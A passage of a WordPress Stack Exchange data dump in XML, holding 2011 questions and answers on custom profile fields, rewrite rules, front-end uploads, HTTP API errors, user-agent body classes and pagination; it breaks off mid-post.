  <row Id="17578" PostTypeId="2" ParentId="17457" CreationDate="2011-05-18T12:13:04.160" Score="2" ViewCount="" Body="&lt;p&gt;Ok, I was doing it wrong, here's a working solution, based on Justin Tadlock's &lt;a href=&quot;http://justintadlock.com/archives/2009/09/10/adding-and-using-custom-user-profile-fields&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/* Add custom profile fields (call in theme : echo $curauth-&amp;gt;fieldname;) */ &#xA;&#xA;add_action( 'show_user_profile', 'my_show_extra_profile_fields' );&#xA;add_action( 'edit_user_profile', 'my_show_extra_profile_fields' );&#xA;&#xA;function my_show_extra_profile_fields( $user ) { ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if(user_can($user-&amp;gt;ID, &quot;paying_member&quot;)) : ?&amp;gt;&#xA;&#xA;        &amp;lt;h3&amp;gt;Extra profile information&amp;lt;/h3&amp;gt;&#xA;&#xA;        &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;th&amp;gt;&amp;lt;label for=&quot;paypal_account&quot;&amp;gt;Paypal&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;&#xA;                &amp;lt;td&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;paypal_account&quot; id=&quot;paypal_account&quot; value=&quot;&amp;lt;?php echo esc_attr( get_the_author_meta( 'paypal_account', $user-&amp;gt;ID ) ); ?&amp;gt;&quot; class=&quot;regular-text&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;                    &amp;lt;span class=&quot;description&quot;&amp;gt;Please enter your Paypal account.&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;&#xA;        &amp;lt;/table&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php }&#xA;&#xA;add_action( 'personal_options_update', 'my_save_extra_profile_fields' );&#xA;add_action( 'edit_user_profile_update', 'my_save_extra_profile_fields' );&#xA;&#xA;function my_save_extra_profile_fields( $user_id ) {&#xA;&#xA;    if ( !current_user_can( 'edit_user', $user_id ) )&#xA;        return false;&#xA;&#xA;    /* Copy and paste this line for additional fields. Make sure to change 'paypal_account' to the field ID. */&#xA;    update_usermeta( $user_id, 'paypal_account', $_POST['paypal_account'] );&#xA;}&#xA;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The main addition to his code, is this line of code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(user_can($user-&amp;gt;ID, &quot;paying_member&quot;)) : ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which displays the custom fields only for users with the role of &quot;paying_member&quot; and admins.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-05-19T18:16:37.447" LastActivityDate="2011-05-19T18:16:37.447" />
  <row Id="17579" PostTypeId="2" ParentId="17577" CreationDate="2011-05-18T12:23:03.173" Score="3" ViewCount="" Body="&lt;p&gt;I think Pingdom Tools gives you a false image. I opened your website (&lt;code&gt;advia.com.au&lt;/code&gt;?) in Chrome with the Developer Tools open, and it loads 57 items, not 146 as Pingdom Tools shows. I think Pingdom Tools just scans the HTML and CSS files and loads all images it finds there - you have 113 &lt;code&gt;url()&lt;/code&gt; references in your &lt;code&gt;screen.css&lt;/code&gt; file for example (click on &lt;em&gt;&quot;Show link hierarchy&quot;&lt;/em&gt; to make this clear in Pingdom Tools). Most browsers will only load these when they are needed.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-18T12:23:03.173" CommentCount="1" />
  <row Id="17580" PostTypeId="2" ParentId="17569" CreationDate="2011-05-18T12:31:33.730" Score="2" ViewCount="" Body="&lt;p&gt;You start with one bonus point for using my rewrite analyzer :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indeed, even if you use verbose page rules, since version 3.1 (or something around that) the taxonomy rewrite rules come even before that. I &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16902/permalink-rewrite-404-conflict-wordpress-taxonomies-cpt/16929#16929&quot;&gt;recently answered another question&lt;/a&gt; with a way to move them really to the top. This should work if you don't mind having verbose page rules (if you don't have more than 25 pages or so).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want verbose page rules you will have to extend the core &lt;code&gt;WP&lt;/code&gt; class so it can deal with &quot;ambiguous&quot; situations where the URL can refer to a page or a custom post type. Mike &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9419/remove-taxonomy-slug-from-a-custom-hierarchical-taxonomy-permalink/10162#10162&quot;&gt;once provided a nice way to do this&lt;/a&gt;. His answer is written for a custom taxonomy, but it should be adaptable to a custom post type too.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-18T12:31:33.730" CommentCount="3" />
  <row Id="17581" PostTypeId="2" ParentId="17569" CreationDate="2011-05-18T12:44:36.533" Score="0" ViewCount="" Body="&lt;p&gt;I found one solution, but it's &lt;em&gt;really&lt;/em&gt; ugly: &lt;a href=&quot;http://blog.defaultroute.com/2010/11/25/custom-page-routing-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;hook into 404 routing&lt;/a&gt; to deliver the page that should be delivered. The code is bit complicated because I have a multisite prefix to deal with as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;theme/404.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $current_blog;&#xA;$prefix = $current_blog-&amp;gt;path;&#xA;$path = $_SERVER['REQUEST_URI'];&#xA;$path = preg_replace(&quot;!^$prefix!i&quot;, &quot;&quot;, $path);&#xA;$path = preg_replace(&quot;!\?.*$!i&quot;, &quot;&quot;, $path);&#xA;$path = trim($path, '/');&#xA;$page = get_page_by_path($path);&#xA;&#xA;if (isset($page)) {&#xA;  $template = get_post_meta($page-&amp;gt;ID, '_wp_page_template', true);&#xA;  if (empty($template))&#xA;    $template = get_page_template();&#xA;  query_posts(&quot;post_type=page&amp;amp;id={$page-&amp;gt;ID}&quot;);&#xA;  include($template);&#xA;  die;&#xA;}&#xA;?&amp;gt;&#xA;...actually handle a 404...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Having identified a page, it has to run &lt;code&gt;query_posts&lt;/code&gt; again to load all the data correctly. This is far from the ideal solution, but it at least worked for me. I'd gladly replace it with a better solution if anyone can suggest one.&lt;/p&gt;&#xA;" OwnerUserId="3828" LastEditorUserId="3828" LastEditorDisplayName="" LastEditDate="2011-05-18T13:48:36.290" LastActivityDate="2011-05-18T13:48:36.290" />
  <row Id="17582" PostTypeId="1" CreationDate="2011-05-17T18:52:36.340" Score="2" ViewCount="54" Body="&lt;p&gt;What would be the best solution for a wp (cms style) site containing a sub site&#xA;for consumers and businesses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made a wp theme and its almost finished. In essence its gives you two choice to visit as a consumers or as an business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both have the same theme style but differ in some content used out of the wp database and some static content used. (so you've got two headers.php and different article categories for both optins)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I've got it working by using a switch statement in the index.php in the theme file. All works fine but the url's you've get don't look very professional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to have it worked like this: www.domain.com --&gt; gives you two options&#xA;one brings you to www.domain.com/consumers/ the other to www.domain.com/businesses/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cant get this to work because for instance the articles use www.domain.com/articles/bla/etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what would be the best way to achieve this? I'm thinking about:&#xA;-Multiple installations sharing the same database (dont like this idea because you've got more maintenance)&#xA;- setting it up in the .htaccess if this possible and how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you for any advice or solutions&lt;/p&gt;&#xA;" LastActivityDate="2011-08-30T00:57:37.677" Title="Wordpress best solution shared theme for consumers and businesses (two url's one instaltion)" Tags="&lt;htaccess&gt;&lt;multiple&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="17583" PostTypeId="2" ParentId="14996" CreationDate="2011-05-18T13:03:52.960" Score="0" ViewCount="" Body="&lt;p&gt;I would suggest &lt;a href=&quot;http://www.deliciousdays.com/cforms-plugin/&quot; rel=&quot;nofollow&quot;&gt;cforms&lt;/a&gt;. You can customize almost every aspect of the form to fit your particular needs. I have used it several times to make application forms and it works great.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2011-05-18T13:03:52.960" />
  <row Id="17584" PostTypeId="2" ParentId="17521" CreationDate="2011-05-18T13:44:36.427" Score="2" ViewCount="" Body="&lt;p&gt;Indeed, you need to &lt;a href=&quot;http://codex.wordpress.org/Writing_Code_in_Your_Posts&quot; rel=&quot;nofollow&quot;&gt;convert the code to their HTML entities&lt;/a&gt; to prevent WordPress (or the TinyMCE editor) from stripping it out. The Visual editor does some of this work for you, in the HTML editor you must do this yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fortunately, there are syntax highlighter plugins (also based on the same &lt;a href=&quot;http://alexgorbatchev.com/SyntaxHighlighter/&quot; rel=&quot;nofollow&quot;&gt;SyntaxHighlighter Javascript library&lt;/a&gt;) that do this for you, like &lt;a href=&quot;http://wordpress.org/extend/plugins/syntaxhighlighter/&quot; rel=&quot;nofollow&quot;&gt;SyntaxHighlighter Evolved&lt;/a&gt;. With this plugin you can write &lt;code&gt;[php]Your &amp;lt;?php echo 'code'; ?&amp;gt;[/php]&lt;/code&gt; and it will escape and highlight it. (There are other shortcodes too of course, &lt;code&gt;[php]&lt;/code&gt; is just a shorthand.)&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-18T13:44:36.427" CommentCount="1" />
  <row Id="17585" PostTypeId="2" ParentId="14995" CreationDate="2011-05-18T13:55:53.563" Score="0" ViewCount="" Body="&lt;p&gt;If you want to grab info right off the page you should use one of these options if you don't want a plugin, the content can be returned and parsed as xml, rss, json or just html/text. This is the proper way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress HTTP API: &lt;a href=&quot;http://codex.wordpress.org/HTTP_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/HTTP_API&lt;/a&gt;  or&lt;br&gt;&#xA; &lt;code&gt;fetch_feed()&lt;/code&gt; ( for rss only).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. On side note I usually use simplexml instead of the built in rss wp stuff as it has way more functionality along with the HTTP API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also an alternative, though more troublesome way is to connect to the other database.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-05-18T13:55:53.563" />
  <row Id="17586" PostTypeId="2" ParentId="17532" CreationDate="2011-05-18T14:04:44.897" Score="0" ViewCount="" Body="&lt;p&gt;You should probably loop through using &lt;a href=&quot;http://codex.wordpress.org/The_Loop_in_Action&quot; rel=&quot;nofollow&quot;&gt;The Loop&lt;/a&gt; (use a &lt;a href=&quot;http://codex.wordpress.org/Displaying_Posts_Using_a_Custom_Select_Query&quot; rel=&quot;nofollow&quot;&gt;custom query&lt;/a&gt;), and then use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_permalink&quot; rel=&quot;nofollow&quot;&gt;the_permalink()&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-05-18T14:04:44.897" />
  <row Id="17587" PostTypeId="1" AcceptedAnswerId="18586" CreationDate="2011-05-18T14:08:07.310" Score="1" ViewCount="320" Body="&lt;p&gt;&lt;a href=&quot;http://goldenapplesdesign.com/2010/07/03/front-end-file-uploads-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Golden Apples Design&lt;/a&gt; created (as far as I know) the media upload function that many people on WP.A and elsewhere seem to recommend. But all of the Q&amp;amp;As I can find on StackExchange deal with creating an entirely new post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to get this (or another snippet) to upload media from the front-end, attach it to the current post, generate the appropriate thumbnails, and then refresh the page showing the new image in the [gallery]?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is Than's code:&#xA;In functions file...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function insert_attachment($file_handler,$post_id,$setthumb='false') {&#xA;&#xA;  // check to make sure its a successful upload&#xA;  if ($_FILES[$file_handler]['error'] !== UPLOAD_ERR_OK) __return_false();&#xA;&#xA;  require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/image.php');&#xA;  require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/file.php');&#xA;  require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/media.php');&#xA;&#xA;  $attach_id = media_handle_upload( $file_handler, $post_id );&#xA;&#xA;  if ($setthumb) update_post_meta($post_id,'_thumbnail_id',$attach_id);&#xA;  return $attach_id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In page template header...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// set $post_id to the id of the post you want to attach&#xA;// these uploads to (or 'null' to just handle the uploads&#xA;// without attaching to a post)&#xA;&#xA;if ($_FILES) {&#xA;  foreach ($_FILES as $file =&amp;gt; $array) {&#xA;    $newupload = insert_attachment($file,$post_id);&#xA;    // $newupload returns the attachment id of the file that&#xA;    // was just uploaded. Do whatever you want with that now.&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Upload form used...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;#&quot; enctype=&quot;multipart/form-data&quot; &amp;gt;&#xA;  &amp;lt;input type=&quot;file&quot; name=&quot;an_uploaded_attachment&quot;&amp;gt;&#xA;  &amp;lt;input type=&quot;file&quot; name=&quot;another_uploaded_attachment&quot;&amp;gt;&#xA;  &amp;lt;input type=&quot;file&quot; name=&quot;yet_another_uploaded_attachment&quot;&amp;gt;&#xA;  &amp;lt;input type=&quot;submit&quot;&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1057" LastEditorUserId="1057" LastEditorDisplayName="" LastEditDate="2011-05-28T13:16:40.583" LastActivityDate="2011-07-25T20:52:21.593" Title="How to add media from front-end to an existing post?" Tags="&lt;attachments&gt;&lt;uploads&gt;&lt;front-end&gt;" AnswerCount="2" FavoriteCount="3" />
  <row Id="17589" PostTypeId="2" ParentId="17541" CreationDate="2011-05-18T14:20:40.007" Score="2" ViewCount="" Body="&lt;p&gt;The below suggestions all got +1 from me: Update incremental is a good idea. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also carefully go through your theme in case it modifies anything of the internal structure. Better would be to switch to the &lt;strong&gt;standard theme&lt;/strong&gt; while upgrading and also &lt;strong&gt;turn off all of your plugins&lt;/strong&gt;. You never really know what they could be doing. (as long as they are not only presentational).&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-18T14:20:40.007" />
  <row Id="17590" PostTypeId="2" ParentId="733" CreationDate="2011-05-18T14:30:35.660" Score="0" ViewCount="" Body="&lt;p&gt;I think, it is an better solution to create via custom post type an post type Archive and move the archived posts in this archive. Also add the current post_type to the postmeta of this new post_type for undo this.&#xA;I have write a plugin for this and current you can see this, without stylesheets, images and language file, on &lt;a href=&quot;https://gist.github.com/978690&quot; rel=&quot;nofollow&quot;&gt;gist.github/978690&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="170" LastEditorUserId="170" LastEditorDisplayName="" LastEditDate="2011-05-18T14:35:39.587" LastActivityDate="2011-05-18T14:35:39.587" />
  <row Id="17591" PostTypeId="1" AcceptedAnswerId="17595" CreationDate="2011-05-18T14:32:27.900" Score="1" ViewCount="87" Body="&lt;p&gt;Within &quot;install plugins&quot; I'm receiving an error stating &quot;An Unexpected HTTP Error occurred during the API request.&quot; When I do a plugin search it throws me back to my site's 404 page. Any idea what would prevent my site from syncing properly with WordPress's servers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/TmG5w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added Hameedullah's code to functions.php and recevied this returned &#xA;&lt;code&gt;object(WP_Error)#21 (2) { [&quot;errors&quot;]=&amp;gt; array(1) { [&quot;http_request_failed&quot;]=&amp;gt; array(1) { [0]=&amp;gt; string(75) &quot;Could not resolve host: api.wordpress.org; No data record of requested type&quot; } } [&quot;error_data&quot;]=&amp;gt; array(0) { } }&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a curl transport issue?&lt;/p&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="3296" LastEditorDisplayName="" LastEditDate="2011-05-18T16:38:42.737" LastActivityDate="2011-05-18T18:29:53.893" Title="What causes an Unexpected HTTP Error within install plugins?" Tags="&lt;plugins&gt;&lt;404-error&gt;&lt;installation&gt;&lt;plugin-search-engine&gt;" AnswerCount="1" CommentCount="7" />
  <row Id="17592" PostTypeId="2" ParentId="17571" CreationDate="2011-05-18T14:47:23.447" Score="0" ViewCount="" Body="&lt;p&gt;In this particular case you could even shorten it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo (int) is_home();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-18T14:47:23.447" />
  <row Id="17594" PostTypeId="1" AcceptedAnswerId="17599" CreationDate="2011-05-18T15:04:44.547" Score="3" ViewCount="122" Body="&lt;p&gt;I'm looking for a way to add body class depending on the User Agent of the client with php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking to implement it this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;page.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;body id=&quot;front&quot;  &amp;lt;?php ( function_exists ( 'body_class' ) : body_class($classes)  ? NULL ); ?&amp;gt; &amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or by using adding it to the functions.php file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI: The whole purpose of this is to sniff out particular mobile styles and disable javascript for the some mobile user-agents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;p.s. I'm not looking for a mobile plugin.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;p.p.s. no, i'm not interested in using a mobile theme.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="5149" LastActivityDate="2011-05-18T16:39:32.290" Title="Add Useragent to the body class?" Tags="&lt;php&gt;&lt;functions&gt;&lt;mobile&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="17595" PostTypeId="2" ParentId="17591" CreationDate="2011-05-18T15:11:51.263" Score="3" ViewCount="" Body="&lt;p&gt;You can use the following code to dump the HTTP Api response, will help you figure out the cause of error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function dump_http_api_response($response, $type=&quot;&quot;, $transport=null ) {&#xA;    if ( $type == &quot;response&quot; )&#xA;        var_dump ( $response );&#xA;}&#xA;add_action('http_api_debug', 'dump_http_api_response', 1, 3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object(WP_Error)#15 (2) { [&quot;errors&quot;]=&amp;gt; array(1) { [&quot;http_request_failed&quot;]=&amp;gt; array(1) { [0]=&amp;gt; string(41) &quot;Couldn't resolve host 'api.wordpress.org'&quot; } } [&quot;error_data&quot;]=&amp;gt; array(0) { } }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-05-18T16:25:29.467" LastActivityDate="2011-05-18T16:25:29.467" CommentCount="4" />
  <row Id="17596" PostTypeId="1" CreationDate="2011-05-18T15:22:37.327" Score="0" ViewCount="117" Body="&lt;p&gt;So: I am making a WP site for a company that makes aftermarket performance parts for cars. I have used the post mechanic in WP to add in these parts. Each part has its own page, and I have registered two custom taxonomies: one describes the kind of part that it is, the other describes the kind of vehicle that the part fits. Each part is compatible with several vehicles so each post has a few different terms in the 'compatiblecars' taxonomy but it will only have one term in the 'partstype' taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To build the navigation for the site, I have a list of the compatible cars and for the menu (which I am using YUI module for, that's not the problem!) I need to call a list of the 'partstype' terms that the posts in each different 'compatiblecars' term have. So, for example, there are twenty parts that are compatible with a Beetle for example, when you click on Beetle I need a list of the five or six different parts types (like, Brake Upgrades for example) that are compatible with the Beetle, and when you click on the term, you go to a page that has all the Brakes Upgrades for Beetles on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is that the best way to do this is to do a query_posts that calls all the posts with the 'Beetle' term in the 'compatiblecars' taxonomy, use the loop to pull the terms from the 'partstype' taxonomy for each individual part, dump these into an array and then echo that, and have each term link to that part type: my php skills are woeful, I am literally just beginning so I can't even begin to approach this without at least a starting point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this isn't possible, let me know, at least I can stop banging my head on this brick wall! Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5474" LastActivityDate="2011-05-18T15:36:32.750" Title="Using Custom Taxonomies to organise products - struggling to call a correct list" Tags="&lt;custom-taxonomy&gt;&lt;query-posts&gt;&lt;navigation&gt;" AnswerCount="1" />
  <row Id="17597" PostTypeId="2" ParentId="17541" CreationDate="2011-05-18T15:30:05.127" Score="4" ViewCount="" Body="&lt;p&gt;If you site is live then you shouldn't directly update that, although update in the recent version of wordpress is very easy and seemless but that wasn't the case in 2.1 though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also here is the list of steps that I will recommend you to take:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make the list of all plugins.&lt;/li&gt;&#xA;&lt;li&gt;Make sure none of the plugin's are responsible for site's main functionality. (As kaiser said its okay if they are only presentational).&lt;/li&gt;&#xA;&lt;li&gt;There is 99% chance that your theme will break with or at least will complain of deprecated functions with wordpress 3.1, so you have two options, either switch to standard theme or check your site for errors from theme after each upgrade until you are at 3.1&lt;/li&gt;&#xA;&lt;li&gt;Install the Wordpress 2.1 on test machine and clone your live site, not all the data but at least the functionality.&lt;/li&gt;&#xA;&lt;li&gt;Disable all the plugins responsible for main functionlaity that you noted in Step 2 &lt;/li&gt;&#xA;&lt;li&gt;Upgrade to the next stable version of wordpress that was released after your current version.&lt;/li&gt;&#xA;&lt;li&gt;Enable the plugins one by one and check your test site.&lt;/li&gt;&#xA;&lt;li&gt;If there are errors see if you can fix them or disable the plugin. You might also see errors from your theme if you haven't switched to standard theme, so try to fix them too.&lt;/li&gt;&#xA;&lt;li&gt;If you have upgraded to Wordpress 3.1 then Congratulations else goto Step 5.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this will be helpful to you and you will have easy upgrade to 3.1.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-05-18T15:30:05.127" CommentCount="1" />
  <row Id="17598" PostTypeId="2" ParentId="17596" CreationDate="2011-05-18T15:36:32.750" Score="1" ViewCount="" Body="&lt;p&gt;Read through &lt;a href=&quot;http://www.wpmods.com/query-multiple-taxonomies-in-wp-3-1&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;http://ottopress.com/2010/wordpress-3-1-advanced-taxonomy-queries/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-18T15:36:32.750" CommentCount="5" />
  <row Id="17599" PostTypeId="2" ParentId="17594" CreationDate="2011-05-18T15:45:34.653" Score="5" ViewCount="" Body="&lt;p&gt;something like this maybe:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_class_names($classes) {&#xA;    $useragent = $_SERVER['HTTP_USER_AGENT'];&#xA;    if(strchr($useragent,'Safari')) $classes[] = 'Safari';&#xA;    // etc..&#xA;    return $classes;&#xA;}&#xA;add_filter('body_class','my_class_names');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; - as per Chip's suggestion, here's the function using the WordPress useragents checks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_class_names($classes) {&#xA;    global $is_lynx, $is_gecko, $is_IE, $is_opera, $is_NS4, $is_safari, $is_chrome, $is_iphone;&#xA;    if($is_lynx) $classes[] = 'lynx';&#xA;    elseif($is_gecko) $classes[] = 'gecko';&#xA;    elseif($is_winIE) $classes[] = 'winIE';&#xA;    elseif($is_macIE) $classes[] = 'macIE';&#xA;    elseif($is_opera) $classes[] = 'opera';&#xA;    elseif($is_NS4) $classes[] = 'NS4';&#xA;    elseif($is_safari) $classes[] = 'safari';&#xA;    elseif($is_chrome) $classes[] = 'chrome';&#xA;    elseif($is_iphone) $classes[] = 'iphone';&#xA;    else $classes[] = 'other';&#xA;    return $classes;&#xA;}&#xA;add_filter('body_class','my_class_names');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-05-18T16:15:28.513" LastActivityDate="2011-05-18T16:15:28.513" CommentCount="3" />
  <row Id="17600" PostTypeId="2" ParentId="17594" CreationDate="2011-05-18T15:45:52.483" Score="0" ViewCount="" Body="&lt;p&gt;WordPress includes global variables that store some of these useragents. Perhaps something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $is_iphone;&#xA;&#xA;$classes = array();&#xA;&#xA;if ( $is_iphone ) $classes[] = 'iphone';&#xA;?&amp;gt;&#xA;&amp;lt;body id=&quot;front&quot; &amp;lt;?php body_class( $classes ); ?&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Why are you wrapping &lt;code&gt;body_class()&lt;/code&gt; inside &lt;code&gt;function_exists()&lt;/code&gt;? This tag generally doesn't need backwards-compatibility, as it was introduced in WordPress 2.8.)&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-18T15:45:52.483" CommentCount="1" />
  <row Id="17601" PostTypeId="1" CreationDate="2011-05-18T15:48:04.417" Score="1" ViewCount="134" Body="&lt;p&gt;Ok so here's another story for my Custom Pagination on Custom Author's Page. What i want to happen there is display the Author's avatar, description, website, and some additional fields, and of course list his post and paginate it....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the screenshot of my custom author page:&#xA;&lt;a href=&quot;http://i56.tinypic.com/2cosldy.png&quot; rel=&quot;nofollow&quot;&gt;http://i56.tinypic.com/2cosldy.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, everything seems to be in order. Now, the problem is the pagination. I used the code by &lt;a href=&quot;http://www.kriesi.at/archives/how-to-build-a-wordpress-post-pagination-without-plugin&quot; rel=&quot;nofollow&quot;&gt;Kreisi (Pagination w/o using plugins)&lt;/a&gt;. What i did is create a custom loop and call it to Kreisi's function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's the code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $uid = $curauth-&amp;gt;ID;&#xA;$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;&#xA;$authloop = new WP_Query(&quot;author=$uid&amp;amp;paged=$paged&quot;);&#xA;$ppp = 5; //set my custom number of post to appear&#xA;&#xA;$args = array(&#xA;           'post_per_page' =&amp;gt; $ppp,&#xA;           'author' =&amp;gt; $uid,&#xA;           'paged' =&amp;gt; $paged&#xA;&#xA; );&#xA;&#xA;$authorposts = get_posts($args);&#xA;&#xA;&#xA;if ( count( $authorposts ) &amp;gt; 0 ) {              &#xA;&#xA;        foreach ( $authorposts as $post ):  setup_postdata($post)            &#xA;&#xA;        ?&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                        &amp;lt;?php if ( has_post_thumbnail() ) : ?&amp;gt;&#xA;                                &amp;lt;img src=&quot;&amp;lt;?php echo bloginfo('template_url'); ?&amp;gt;/inc/scripts/timthumb.php?src=&amp;lt;?php echo catch_that_image(); ?&amp;gt;&amp;amp;w=40&amp;amp;h=40&amp;amp;zc=1&amp;amp;q=30&quot; alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; class=&quot;authorpostimg&quot;/&amp;gt;&#xA;&#xA;                        &amp;lt;?php else :    ?&amp;gt;&#xA;                                &amp;lt;img src=&quot;&amp;lt;?php echo bloginfo('template_url'); ?&amp;gt;/inc/scripts/timthumb.php?src=&amp;lt;?php echo catch_that_image(); ?&amp;gt;&amp;amp;w=40&amp;amp;h=40&amp;amp;zc=1&amp;amp;q=100&quot; alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; 